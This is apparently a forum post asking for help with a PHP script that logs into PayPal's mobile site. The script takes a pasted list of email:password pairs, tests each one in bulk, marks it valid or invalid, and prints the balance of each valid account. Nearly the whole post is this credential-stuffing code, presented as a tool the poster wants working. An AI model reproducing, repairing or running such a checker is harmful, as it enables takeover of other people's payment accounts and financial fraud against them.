I'm trying to log into Paypal and get the value of the account balance, but to no avail.
My code:
<?php
include ("curl.php");
$fp=fopen("fpaypal","w");
fwrite($fp, "");
fclose($fp);
$curl = new curl;
if(isset($_POST['txt']))
{
$logins=array_values(array_unique(explode("\n",stripslashes($_POST['txt']))));
foreach($logins as $login)
{
flush();
$fp=fopen("fpaypal","w");
fwrite($fp, "");
fclose($fp);
list($email,$senha)=explode(":",$login);
$email = trim(str_replace(Array("\n", "\r"), "",$email));
$senha = trim(str_replace(Array("\n", "\r"), "",$senha));
$curl->open("GET", "https://mobile.paypal.com/pt-br/cgi-bin/wapapp?cmd=_sm");
$curl->cookie_file = 'fpaypal';
$curl->exec();
preg_match('/CONTEXT=(.+?)\&SESSION=(.+?)\&/i',$curl->responseText,$context);
$curl->open("GET", "https://mobile.paypal.com/br/cgi-bin/wapapp?cmd=_flow&CONTEXT={$context[1]}&SESSION={$context[2]}&view_balance.x=");
$curl->cookie_file = 'fpaypal';
$curl->exec();
preg_match('/name="CONTEXT" value="(.+?)"/i',$curl->responseText, $CONTEXT);
preg_match('/name="Entrar" action="(.+?)"/i',$curl->responseText,$ACT);
$ACT=str_replace("amp;", "",$ACT[1]);
preg_match('/dispatch=(.+?)\"/i',$curl->responseText,$dispatch);
$curl->open("POST", $ACT);
$curl->referer = "https://mobile.paypal.com/br/cgi-bin/wapapp?cmd=_flow&CONTEXT={$context[1]}&SESSION={$context[2]}&view_balance.x=";
$curl->postData = "CONTEXT={$CONTEXT[1]}&login_email=".rawurlencode(utf8_encode($email))."&login_password=".rawurlencode(utf8_encode($senha))."&login.x=Entrar";
$curl->cookie_file = 'fpaypal';
$curl->exec();
if(preg_match('/<\/h4>.+?([0-9.,]+)/i',$curl->responseText,$saldo)&&!preg_match('/method="post" name="Entrar"/i',$curl->responseText))
{
flush();
echo "$email:$senha - <font color=green>VALIDO</font> - Possui saldo de $".$saldo[1]."<br/>";
}
else
{
flush();
echo "$email - <font color=red>INVALIDO</font><br/>";
}
ob_flush();
flush();
}
}
else
{
echo "<form method=POST>
<center>
Logins:Senha: <br/>
<textarea name='txt' cols=53 rows=16>login:senha
login:senha</textarea><br>
<input type=submit value=Testar!>
</form></center>";
}
?>